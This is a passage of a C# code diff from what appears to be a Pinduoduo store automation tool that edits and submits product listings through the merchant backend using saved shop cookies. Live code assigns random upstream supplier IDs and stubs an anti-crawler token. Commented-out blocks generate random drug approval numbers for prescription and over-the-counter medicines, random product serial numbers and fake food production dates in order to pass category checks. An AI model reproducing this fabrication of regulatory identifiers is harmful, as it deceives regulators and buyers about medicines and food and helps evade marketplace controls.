r.sku[0].limit_quantity + + // ",\"quantity_delta\":" + r.sku[0].quantity + ",\"thumb_url\":\"\"," + + // "\"multi_price\":" + r.sku[0].multi_price + ",\"price\":" + + // r.sku[0].price + ",\"out_sku_sn\":0,\"id\":0,\"spec\":\"\",\"weight\":1000}"; + //string skuApiString = "{\"is_onsale\":1,\"limit_quantity\":" + UploadPinduoduoMain.LimitBuy + + // ",\"price\":\"" + r.sku[0].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku[0].multi_price + // + "\",\"thumb_url\":\"\",\"out_sku_sn\":\"\",\"quantity\":" + UploadPinduoduoMain.LimitBuy + ",\"spec_id_list\":\"[]\"}"; + string skuApiStringNew = ""; + int maxPrice = 0, minPrice = Int32.MaxValue; + for (int i = 0; i < r.sku_list.Count; i++) + { + if (maxPrice < r.sku_list[i].multi_price) + maxPrice = r.sku_list[i].multi_price; + if (minPrice > r.sku_list[i].multi_price) + minPrice = r.sku_list[i].multi_price; + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + "\",\"quantity\":1,\"spec_id_list\":\"[" + spec + "]\"}"; + } + string catId = Data["cat_id"]; + int market_price = r.market_price; + string addContent = ",\"fabric\":" + r.fabricx + ",\"fabric_content\":" + r.fabric_contentx; + Data["market_price"] = market_price.ToString(); + //================移除附加属性处理=========================== + if (Data.ContainsKey("shelf_life")) + Data.Remove("shelf_life"); + if (Data.ContainsKey("start_production_date")) + Data.Remove("start_production_date"); + if (Data.ContainsKey("end_production_date")) + Data.Remove("end_production_date"); + if (Data.ContainsKey("goods_properties")) + Data.Remove("goods_properties"); + if (Data.ContainsKey("fabric")) + Data.Remove("fabric"); + if (Data.ContainsKey("fabric_content")) + Data.Remove("fabric_content"); + int Cat1 = 0; + if (PinduoduoCatList.CatIds.ContainsKey(int.Parse(catId))) + Cat1 = PinduoduoCatList.CatIds[int.Parse(catId)].cat1; + if (Data.ContainsKey("goods_properties")) + Data.Remove("goods_properties"); + string mustCode = ""; + string goodsProperties = UploadPinduoduoProperties.GetNew(int.Parse(catId), Cat1, ref pb, ref Shop, out mustCode); + + if (!string.IsNullOrEmpty(mustCode)) + Data.Add("goods_properties", "[" + mustCode.Substring(1) + "]"); + //电器 + //if (!Data.ContainsKey("goods_properties") && ",14913,15540,14913,9647,9610,9559,9558,9551,6247,6167,6034,6028,6024,6006,5989,5982,5965,5963,5961,5959,5757,5671,5670,3030,657,".Contains("," + catId + ",")) + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33050,\"template_module_id\":7185,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33051,\"template_module_id\":7185,\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33053,\"template_module_id\":7185,\"pid\":67,\"value\":\"\",\"value_unit\":\"\"}," + + // "{\"template_pid\":33052,\"template_module_id\":7185,\"pid\":59,\"vid\":0,\"value\":\"" + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",983,".Contains("," + catId + ","))//卷纸 + //{ + // Data.Add("paper_net_weight", "100"); + // Data.Add("paper_length", "100"); + // Data.Add("paper_width", "100"); + // Data.Add("paper_plies_num", "1"); + //} + //if (!Data.ContainsKey("goods_properties") && ",3046,".Contains("," + catId + ","))//充电器 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33643,\"template_module_id\":7305,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33644,\"template_module_id\":7305,\"pid\":40,\"vid\":17130,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33646,\"template_module_id\":7305,\"pid\":63,\"value\":\"\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",3109,".Contains("," + catId + ","))//充电器2 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33110,\"template_module_id\":7198,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33111,\"template_module_id\":7198,\"pid\":2,\"vid\":0,\"value_unit\":\"mAh\"},{\"template_pid\":33112,\"template_module_id\":7198,\"pid\":89,\"vid\":0,\"value_unit\":\"mm\"},{\"template_pid\":33113,\"template_module_id\":7198,\"pid\":90,\"vid\":0,\"value_unit\":\"mm\"},{\"template_pid\":33114,\"template_module_id\":7198,\"pid\":91,\"vid\":0,\"value_unit\":\"mm\"},{\"template_pid\":33115,\"template_module_id\":7198,\"pid\":88,\"vid\":0,\"value_unit\":\"g\"},{\"template_pid\":33116,\"template_module_id\":7198,\"pid\":40,\"vid\":17130,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33117,\"template_module_id\":7198,\"pid\":16,\"value\":\"\",\"value_unit\":\"\"}]"); + //} + + //if (!Data.ContainsKey("goods_properties") && ",6167,14913,".Contains("," + catId + ","))//充电器2 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33134,\"template_module_id\":7201,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33139,\"template_module_id\":7201,\"pid\":93,\"vid\":24044,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33145,\"template_module_id\":7201,\"pid\":67,\"vid\":0,\"value\":\"100\",\"value_unit\":\"W\"},{\"template_pid\":33135,\"template_module_id\":7201,\"pid\":40,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33136,\"template_module_id\":7201,\"pid\":142,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33137,\"template_module_id\":7201,\"pid\":49,\"value\":\"\",\"value_unit\":\"\"}," + + // "{\"template_pid\":33140,\"template_module_id\":7201,\"pid\":59,\"vid\":0,\"value\":\"" + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",6169,9527,".Contains("," + catId + ","))//个人护理 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33120,\"template_module_id\":7199,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33122,\"template_module_id\":7199,\"pid\":7,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33123,\"template_module_id\":7199,\"pid\":40,\"vid\":57490,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33124,\"template_module_id\":7199,\"pid\":207,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33126,\"template_module_id\":7199,\"pid\":67,\"vid\":\"100\",\"value\":\"\",\"value_unit\":\"W\"}," + + // "{\"template_pid\":33125,\"template_module_id\":7199,\"pid\":59,\"vid\":0,\"value\":\"" + Randomx.GetId(2000, 2017) + "0" + Randomx.GetId(10000, 99999) + "" + Randomx.GetId(100000, 999999) + "\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",6248,".Contains("," + catId + ","))//电源方式 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":30365,\"template_module_id\":6680,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":30366,\"template_module_id\":6680,\"pid\":67,\"vid\":0,\"value_unit\":\"W\"},{\"template_pid\":30367,\"template_module_id\":6680,\"pid\":40,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":30368,\"template_module_id\":6680,\"pid\":33,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":30369,\"template_module_id\":6680,\"pid\":133,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":30370,\"template_module_id\":6680,\"pid\":16,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":30371,\"template_module_id\":6680,\"pid\":96,\"vid\":28237,\"value\":\"\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",14932,".Contains("," + catId + ","))//纸尿片 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33590,\"template_module_id\":7294,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33591,\"template_module_id\":7294,\"pid\":9,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33592,\"template_module_id\":7294,\"pid\":55,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33594,\"template_module_id\":7294,\"pid\":316,\"vid\":0,\"value\":\"其他\",\"value_unit\":\"\"},{\"template_pid\":33595,\"template_module_id\":7294,\"pid\":317,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",14932,".Contains("," + catId + ","))//纸尿片 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":33590,\"template_module_id\":7294,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33591,\"template_module_id\":7294,\"pid\":9,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33592,\"template_module_id\":7294,\"pid\":55,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":33594,\"template_module_id\":7294,\"pid\":316,\"vid\":0,\"value\":\"其他\",\"value_unit\":\"\"},{\"template_pid\":33595,\"template_module_id\":7294,\"pid\":317,\"vid\":0,\"value\":\"未知\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",15540,".Contains("," + catId + ","))//热水袋 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":17018,\"template_module_id\":4030,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"},{\"template_pid\":16996,\"template_module_id\":4030,\"pid\":40,\"vid\":57495,\"value\":\"\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",6586,6785,6883,6758,6536,6630,6398,,".Contains("," + Cat1 + ",")) //食品 + //{ + // Data.Add("shelf_life", "300"); + // Data.Add("start_production_date", BaseClass.GetTime(DateTime.Today).ToString()); + // Data.Add("end_production_date", BaseClass.GetTime(DateTime.Today).ToString()); + // Data.Add("goods_properties", "[{\"template_pid\":5876,\"template_module_id\":1385,\"pid\":57,\"vid\":0,\"value\":\"" + + // DateTime.Today.ToString("yyyy-MM-dd") + + // "\",\"value_unit\":\"\"},{\"template_pid\":5877,\"template_module_id\":1385,\"pid\":58,\"vid\":0,\"value\":\"300\",\"value_unit\":\"天\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",13176,".Contains("," + Cat1 + ","))//处方药 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":9284,\"template_module_id\":2359,\"pid\":92,\"vid\":0,\"value\":\"Z" + Randomx.GetId(10000000, 99999999) + Randomx.GetId(1, 9) + "\",\"value_unit\":\"\"}]"); + //} + //if (!Data.ContainsKey("goods_properties") && ",13178,".Contains("," + Cat1 + ","))//非处方药 + //{ + // Data.Add("goods_properties", "[{\"template_pid\":21473,\"template_module_id\":4913,\"pid\":234,\"vid\":0,\"value\":\"ZC201" + Randomx.GetId(1000, 9999) + Randomx.GetId(1, 9) + "\",\"value_unit\":\"\"}]"); + //} + + //if (!Data.ContainsKey("goods_properties") && ",2,6586,6785,6883,6758,6536,6630,6398,,63,64,65,92,95,99,101,3853,3862,3867,3872,3876,3900,898,897,3993,1079,".Contains("," + Cat1 + ",")) //食品 + //{ + // Data.Add("shelf_life", "300"); + // Data.Add("start_production_date", BaseClass.GetTime(DateTime.Today).ToString()); + // Data.Add("end_production_date", BaseClass.GetTime(DateTime.Today).ToString()); + // Data.Add("goods_properties", "[{\"template_pid\":5876,\"template_module_id\":1385,\"pid\":57,\"vid\":0,\"value\":\"" + + // DateTime.Today.ToString("yyyy-MM-dd") + + // "\",\"value_unit\":\"\"},{\"template_pid\":5877,\"template_module_id\":1385,\"pid\":58,\"vid\":0,\"value\":\"300\",\"value_unit\":\"天\"}]"); + //} + + //if (!Data.ContainsKey("goods_properties") && ",13176,".Contains("," + Cat1 + ",") && !",13184,13183,".Contains(Cat2.ToString())) + //{ + // Data.Add("goods_properties", "[{\"template_pid\":9284,\"template_module_id\":2359,\"pid\":92,\"vid\":0,\"value\":\"Z" + Randomx.GetId(10000000, 99999999) + Randomx.GetId(1, 9) + "\",\"value_unit\":\"\"}]"); + //} + + //if (!Data.ContainsKey("goods_properties") && ",8439,".Contains("," + Cat1 + ",")) + //{ + // Data.Add("goods_properties", "[{\"template_pid\":35576,\"template_module_id\":7709,\"pid\":5,\"value\":\"\",\"value_unit\":\"\"}]"); + //} + + //===================================其他类目========================================== + //Data["cat_id"] = GetReplaceCat(Shop.MainCatId, oldId).ToString(); + Data["sku_list"] = "[" + skuApiStringNew.Substring(1) + "]"; + Data["customer_num"] = "2"; + Data["goods_desc"] = r.goods_name; + string newName = Data["goods_name"]; + + Data["goods_name"] = BaseClass.SubCharLength(r.goods_name.Replace("✅", "").Replace("◆", ""), 60); + PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop); + api.Data = Data; + if (Shop.SignErrorTimes.ContainsKey(DateTime.Now.ToString("yyyy-MM-dd")) && Shop.SignErrorTimes[DateTime.Now.ToString("yyyy-MM-dd")] > 3) + return false; + string html = api.Updata(); + if (html.Contains("惩罚") || html.Contains("新协议") || html.Contains("协议已更新") || html.Contains("高风险店铺") || html.Contains("配送地区") || html.Contains("店铺资质") && !html.Contains("出于监管要求") || + html.Contains("通过审核")) + { + string msg = BaseRegex.GetStringJson(ref html, "error_msg") + BaseRegex.GetStringJson(ref html, "sub_msg"); + MessageBox.Show("店铺:" + Shop.ShopName + " 错误:\r\n" + msg); + CanUpload = false; + return false; + } + if (!string.IsNullOrEmpty(BaseRegex.GetStringJson(ref html, "error_msg"))) + return false; + long goods_commit_id = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + api = new PinduoduoApiGetProduct(Shop); + long upid = 0; + html = api.GetRelation(r.goods_id.ToString()); + // 有获取到对应的上家id + if (html.Contains("out_goods_id") && html.Contains("out_goods_platform")) + { + upid = BaseRegex.GetLongJson(ref html, "out_goods_id"); + html = api.Relation(r.goods_id, upid, (int)(MinPrice * 0.94m), (int)(MaxPrice * 0.94m), 0, 0); + } + else + { + upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10, 99999); + html = api.Relation(Us.GoodsId, upid, (int)(MinPrice * 0.96m), (int)(MaxPrice * 0.96m), 0, 0); + } + Thread.Sleep(500); + + int goods_status = 1; + for (int i = 0; goods_commit_id > 0 && i < 600 && goods_status == 1; i++) + { + html = new PinduoduoApiGetProduct(Shop).GetCommitDetail(goods_commit_id); + goods_status = BaseRegex.GetIntJson(ref html, "goods_status"); + if (goods_status == 1) + Thread.Sleep(1 * 1000); + } + if (goods_commit_id > 0) + new PinduoduoApiGetProduct(Shop).DeleteCommitDetail(goods_commit_id); + string url, data, refere; + if (goods_status != 2 && goods_status != 4) + return false; + return true; + //return true; + //Data["sku_list"] = "[" + skuApiStringNew.Substring(1) + "]"; + //Data["goods_name"] = newName; + //api = new PinduoduoApiGetProduct(Shop); + //api.Data = Data; + //html = api.Updata(); + //Thread.Sleep(10 * 1000); + //goods_commit_id = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + //goods_status = 1; + //for (int i = 0; goods_commit_id > 0 && i < 5 && goods_status == 1; i++) + //{ + // html = new PinduoduoApiGetProduct(Shop).GetCommitDetail(goods_commit_id); + // goods_status = BaseRegex.GetIntJson(ref html, "goods_status"); + // if (goods_status != 2) + // Thread.Sleep(10 * 1000); + //} + //if (goods_status != 2) + // return false; + //return true; + + + //r.goods_name = BaseClass.SubCharLength(r.goods_name, 60); + //api = new PinduoduoApiGetProduct(Shop); + //api.Data.Add("goods_id", Us.GoodsId.ToString()); + //api.Data.Add("goods_name", r.goods_name); + //api.Data.Add("goods_type", "1"); + //api.Data.Add("goods_desc", r.goods_desc); + //api.Data.Add("cat_id", r.cat_id.ToString()); + //api.Data.Add("tiny_name", ""); + //api.Data.Add("country_id", "0"); + //api.Data.Add("market_price", market_price.ToString()); + //api.Data.Add("is_pre_sale", "false"); + //api.Data.Add("shipment_limit_second", "172800"); + //api.Data.Add("cost_template_id", r.cost_template_id.ToString()); + //api.Data.Add("customer_num", UploadPinduoduoMain.GroupCount.ToString());//团购人数 + //api.Data.Add("buy_limit", UploadPinduoduoMain.LimitBuy.ToString()); + //api.Data.Add("order_limit", UploadPinduoduoMain.LimitBuy.ToString()); + //api.Data.Add("is_refundable", "true"); + //api.Data.Add("second_hand", "false"); + //api.Data.Add("is_folt", "true"); + //if (!string.IsNullOrEmpty(addContent)) + //{ + // int fabric = BaseRegex.GetIntJson(ref addContent, "fabric"); + // int fabric_content = BaseRegex.GetIntJson(ref addContent, "fabric_content"); + // api.Data.Add("fabric", fabric.ToString()); + // api.Data.Add("fabric_content", fabric_content.ToString()); + //} + //api.Data.Add("sku_list", "[" + skuApiString + "]"); + + //api.Data.Add("out_goods_id", ""); + //api.Data.Add("hd_thumb_url", r.hd_thumb_url); + //api.Data.Add("thumb_url", r.thumb_url); + //api.Data.Add("image_url", r.image_url); + //api.Data.Add("carousel_gallery", "[" + apiImageString.Substring(1) + "]"); + //api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]"); + //if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + Us.Cat1 + ","))//食品 + //{ + // api.Data.Add("shelf_life", "300"); + // api.Data.Add("start_production_date", BaseClass.GetTime(DateTime.Now.AddDays(-5)).ToString()); + // api.Data.Add("end_production_date", BaseClass.GetTime(DateTime.Now).ToString()); + //} + + //html = api.Updata(); + + //return; + //var ju = new JumpUpProductNew(Shop); + //ju.OutGoodId = r.commit_extension.out_goods_sn; + //ju.GetUrl(Us.GoodsId.ToString()); + //int from = 7; + //api = new PinduoduoApiGetProduct(Shop); + //html = api.Relation(Us.GoodsId, ju.UpId.ProductIdFrom, (int)(r.sku[0].price * 93), (int)(r.sku[0].price * 93), 0, from); + + //Thread.Sleep(10 * 1000); + //api = new PinduoduoApiGetProduct(Shop); + //api.Data.Add("goods_id", Us.GoodsId.ToString()); + //api.Data.Add("goods_name", r.goods_name); + //api.Data.Add("goods_type", "1"); + //api.Data.Add("goods_desc", r.goods_desc); + //api.Data.Add("cat_id", r.cat_id.ToString()); + //api.Data.Add("tiny_name", ""); + //api.Data.Add("country_id", "0"); + //api.Data.Add("market_price", market_price.ToString()); + //api.Data.Add("is_pre_sale", "false"); + //api.Data.Add("shipment_limit_second", "172800"); + //api.Data.Add("cost_template_id", r.cost_template_id.ToString()); + //api.Data.Add("customer_num", UploadPinduoduoMain.GroupCount.ToString());//团购人数 + //api.Data.Add("buy_limit", UploadPinduoduoMain.LimitBuy.ToString()); + //api.Data.Add("order_limit", UploadPinduoduoMain.LimitBuy.ToString()); + //api.Data.Add("is_refundable", "true"); + //api.Data.Add("second_hand", "false"); + //api.Data.Add("is_folt", "true"); + //if (!string.IsNullOrEmpty(addContent)) + //{ + // int fabric = BaseRegex.GetIntJson(ref addContent, "fabric"); + // int fabric_content = BaseRegex.GetIntJson(ref addContent, "fabric_content"); + // api.Data.Add("fabric", fabric.ToString()); + // api.Data.Add("fabric_content", fabric_content.ToString()); + //} + //api.Data.Add("sku_list", "[" + SkuStringApi + "]"); + + //api.Data.Add("out_goods_id", ""); + //api.Data.Add("hd_thumb_url", r.hd_thumb_url); + //api.Data.Add("thumb_url", r.thumb_url); + //api.Data.Add("image_url", r.image_url); + //api.Data.Add("carousel_gallery", "[" + apiImageString.Substring(1) + "]"); + //api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]"); + //if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + Us.Cat1 + ","))//食品 + //{ + // api.Data.Add("shelf_life", "300"); + // api.Data.Add("start_production_date", BaseClass.GetTime(DateTime.Now.AddDays(-5)).ToString()); + // api.Data.Add("end_production_date", BaseClass.GetTime(DateTime.Now).ToString()); + //} + //from = 0; + //html = api.Updata(); + //api = new PinduoduoApiGetProduct(Shop); + //html = api.Relation(Us.GoodsId, NewUpId, (int)(MinPrice * 95), (int)(MaxPrice * 95), 0, from); + //Thread.Sleep(10 * 1000); + //if (!string.IsNullOrEmpty(html) && html.Contains("\"is_success\":true")) + //{ + // return; + //} + //return; + + + //Thread.Sleep(10 * 1000); + useSecond: + ////二次编辑 + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string str = ""; + for (int i = 0; i < 16; i++) + { + str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + } + string strToken = str + "-" + strTime; + string strNumber = ""; + string temp2 = strTime + "," + strToken + "," + strNumber; + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + string codex = ""; + + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/create_by_sn"; + refere = "https://mms.pinduoduo.com/Pdd.html"; + data = "{\"goods_id\":" + Us.GoodsId + "}"; + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + long pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + if (pinId == 0) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + } + if (pinId == 0) + return false; + string dataUp = "{\"cat_id\":" + r.cat_id + ",\"crawlerInfo\":\"" + codex + "\",\"goods_type\":\"1\",\"country\":\"\",\"country_id\":\"\"," + + "\"warehouse\":\"\",\"customs\":\"\",\"is_customs\":0,\"is_pre_sale\":0,\"pre_sale_time\":\"\"," + + "\"is_refundable\":1,\"shipment_limit_second\":172800,\"event_type\":\"0\",\"is_folt\":\"1\"," + + "\"goods_name\":\"" + r.goods_name + "\",\"tiny_name\":\"\",\"market_price\":" + market_price + + ",\"share_desc\":\":\",\"goods_desc\":\"" + r.goods_desc + "\"," + + "\"image_url\":\"\",\"thumb_url\":\"" + r.thumb_url + "\",\"hd_thumb_url\":\"" + r.hd_thumb_url + "\"," + + "\"gallery\":[" + imageString.Substring(1) + "],\"cost_template_id\":\"" + r.cost_template_id + "\",\"weight\":\"1.00\",\"warm_tips\":\"\"," + + "\"skus\":[" + SkuString + "],\"out_goods_sn\":\"" + "\",\"groups\":{\"customer_num\":" + UploadPinduoduoMain.GroupCount + "," + + "\"buy_limit\":" + UploadPinduoduoMain.LimitBuy + ",\"order_limit\":" + UploadPinduoduoMain.LimitBuy + + "},\"production_license\":\"\",\"production_standard_number\":\"\"" + addContent + ",\"goods_commit_id\":\"" + pinId + "\"}"; + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/update"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Shop.Cookies); + string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + if (!string.IsNullOrEmpty(error_msg)) + return false; + url = "https://mms.pinduoduo.com/glide/v2/mms/query/goods/is_commit_available/" + pinId; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/submit"; + data = "{\"goods_commit_id\":\"" + pinId + "\"}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + return true; + //Thread.Sleep(10 * 1000); + + + + //PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, Us); + //pp.Get(); + //if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Us.FromId) || TaobaoMobileCollect.ProductTemp[Us.FromId].Images.Count==0) + // return; + //var product = TaobaoMobileCollect.ProductTemp[Us.FromId]; + //string tempImage = product.Images[0]; + //byte[] img; + //var ok = GetPostTaobaoHtml.DownLoadImage(tempImage, out img); + //if(!ok) + // return; + //var ib = new ImageBuild(img); + //img = ib.BuildNewSize(400, 400, 500); + //var up = new UploadPinduoduoSet(Shop, Name, null); + //string img400 =up.UploadImg(tempImage + "400*400", ref img); + //UploadPinduoduoSet.AddImage(tempImage + "400*400", img400, 400, 400); + //img = ib.BuildNewSize(200, 200, 500); + //var img200 = up.UploadImg(tempImage + "200*200", ref img); + //UploadPinduoduoSet.AddImage(tempImage + "200*200", img200, 200, 200); + //int catId = product.cat_id; + + + //string imageString = ""; + //for (int i = 0; i < product.Images.Count; i++) + //{ + // if (product.Images[i].Length > 2 && product.Images[i].Substring(0, 2) == "//") + // product.Images[i] = "http:" + product.Images[i]; + // imageString += ",{\"url\":\"" + product.Images[i] + "\",\"width\":640,\"height\":640,\"type\":\"1\"}"; + //} + //var m = BaseRegex.GetMatchRegex(ref product.content, @"]*?src=[""'](.*?)[""']"); + //for (int i = 0; i < m.Count; i++) + //{ + // string imgUrl = m[i].Groups[1].Value; + // if (!imgUrl.Contains("http:") && !imgUrl.Contains("https:")) + // imgUrl = "http:" + imgUrl; + // string exe = Path.GetExtension(imgUrl).ToLower(); + // if (exe != ".jpeg" && exe != ".jpg" && exe != ".png") + // continue; + // imageString += ",{\"url\":\"" + imgUrl + "\",\"width\":" + 750+ ",\"height\":" + 750 + ",\"type\":\"2\"}"; + //} + //int multi_price = up.BuildNewPrice(product.price, 1, 0); + //string skuString = ",{\"is_onsale\":1,\"limit_quantity\":" + UploadPinduoduoMain.LimitBuy + + // ",\"quantity_delta\":" + UploadPinduoduoMain.LimitBuy + ",\"thumb_url\":\"\"," + + // "\"multi_price\":" + multi_price + ",\"price\":" + + // (multi_price + UploadPinduoduoMain.SinglePrice * 100) + ",\"out_sku_sn\":0,\"id\":0,\"spec\":\"\",\"weight\":1000}"; + //int market_price = (int)(multi_price + UploadPinduoduoMain.SinglePrice * 100) * 2; + //string addContent = ",\"fabric\":" + r.fabric + ",\"fabric_content\":" + r.fabric_content; + //if (",2,6586,6785,6883,6758,6536,6630,6398,".Contains("," + product.cat1 + ","))//食品 + //{ + // addContent += ",\"shelf_life\":300,\"start_production_date\":" + BaseClass.GetTime(DateTime.Now.AddDays(-5)) + ",\"end_production_date\":" + BaseClass.GetTime(DateTime.Now); + //} + //else + //{ + // addContent += ",\"shelf_life\":\"\",\"start_production_date\":\"\",\"end_production_date\":\"\""; + //} + //string url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/create_by_sn"; + + //string data = "{\"goods_id\":" + product.id + "}"; + //string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + //long pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + //if (pinId == 0) + //{ + // Thread.Sleep(30 * 1000); + // html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, Shop.Cookies); + // pinId = BaseRegex.GetLongJson(ref html, "goods_commit_id"); + //} + //if(pinId==0) + // return; + + //string dataUp = "{\"cat_id\":" + catId + ",\"goods_type\":\"1\",\"country\":\"\",\"country_id\":\"\"," + + // "\"warehouse\":\"\",\"customs\":\"\",\"is_customs\":0,\"is_pre_sale\":0,\"pre_sale_time\":\"\"," + + // "\"is_refundable\":1,\"shipment_limit_second\":172800,\"event_type\":\"0\",\"is_folt\":\"1\"," + + // "\"goods_name\":\"" + product.name + "\",\"tiny_name\":\"\",\"market_price\":" + market_price + + // ",\"share_desc\":\"" + product.content_pinduoduo + ":\",\"goods_desc\":\"" + product.content_pinduoduo + "\"," + + // "\"image_url\":\"\",\"thumb_url\":\"" + img200 + "\",\"hd_thumb_url\":\"" + img400 + "\"," + + // "\"gallery\":[" + imageString.Substring(1) + "],\"cost_template_id\":\"" + Shop.ExpressId + "\",\"weight\":\"1.00\",\"warm_tips\":\"\"," + + // "\"skus\":[" + skuString.Substring(1) + "],\"out_goods_sn\":\"" + "\",\"groups\":{\"customer_num\":" + UploadPinduoduoMain.GroupCount + "," + + // "\"buy_limit\":" + UploadPinduoduoMain.LimitBuy + ",\"order_limit\":" + UploadPinduoduoMain.LimitBuy + // + "},\"production_license\":\"\",\"production_standard_number\":\"\"" + addContent + ",\"goods_commit_id\":\"" + pinId + "\"}"; + //url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/update"; + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, dataUp, Shop.Cookies); + //string error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + //if(!string.IsNullOrEmpty(error_msg)) + // return; + ////url = "https://mms.pinduoduo.com/glide/v2/mms/query/goods/is_commit_available/" + pinId; + ////html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, Shop.Cookies); + ////error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + //url = "https://mms.pinduoduo.com/glide/v2/mms/edit/commit/submit"; + //data = "{\"goods_commit_id\":\"" + pinId + "\"}"; + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + //error_msg = BaseRegex.GetStringJson(ref html, "error_msg"); + //Thread.Sleep(20*1000); + } + + public bool UserUpdate(long pinId) + { + if (pinId == 0) + return false; + GetProductDetail ge = new GetProductDetail(Shop, Name); + var r = ge.Get(Us.GoodsId); + if (r == null) + return false; + string imageString = ""; + for (int i = 0; i < r.detail_gallery_list.Count; i++) + { + imageString += ",{\"url\":\"" + r.detail_gallery_list[i] + "\", \"type\":2 }"; + } + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { 